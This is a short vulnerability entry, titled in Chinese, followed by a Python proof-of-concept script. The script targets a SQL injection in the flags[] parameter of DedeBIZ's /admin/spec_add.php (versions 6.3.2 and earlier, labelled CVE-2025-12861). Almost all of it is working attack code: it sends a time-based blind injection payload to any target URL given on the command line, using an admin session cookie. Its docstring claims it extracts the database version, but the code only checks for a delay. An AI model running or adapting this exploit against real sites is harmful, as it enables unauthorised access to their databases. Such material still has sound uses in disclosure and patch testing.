DedeBIZ 6.3.2及之前版本 /admin/spec_add.php flags[]参数SQL注入漏洞

import requests import sys # CVE-2025-12861 PoC - DedeBIZ SQL Injection in /admin/spec_add.php # Target: DedeBIZ <= 6.3.2 # Parameter: flags[] # Note: Requires admin privileges TARGET_URL = "http://target.com/admin/spec_add.php" ADMIN_COOKIE = "admin_session_cookie_here" def exploit_sql_injection(): """Extract database version using SQL injection in flags[] parameter""" headers = { "Cookie": ADMIN_COOKIE, "Content-Type": "application/x-www-form-urlencoded" } # SQL injection payload to extract database version # Using time-based blind injection technique payload = { "flags[]": "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -", "action": "submit" } try: print(f"[*] Sending SQL injection payload to {TARGET_URL}") response = requests.post(TARGET_URL, data=payload, headers=headers, timeout=30) print(f"[*] Response status: {response.status_code}") print(f"[*] Payload sent successfully") print("[*] Check for time delay to confirm vulnerability") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_sql_injection()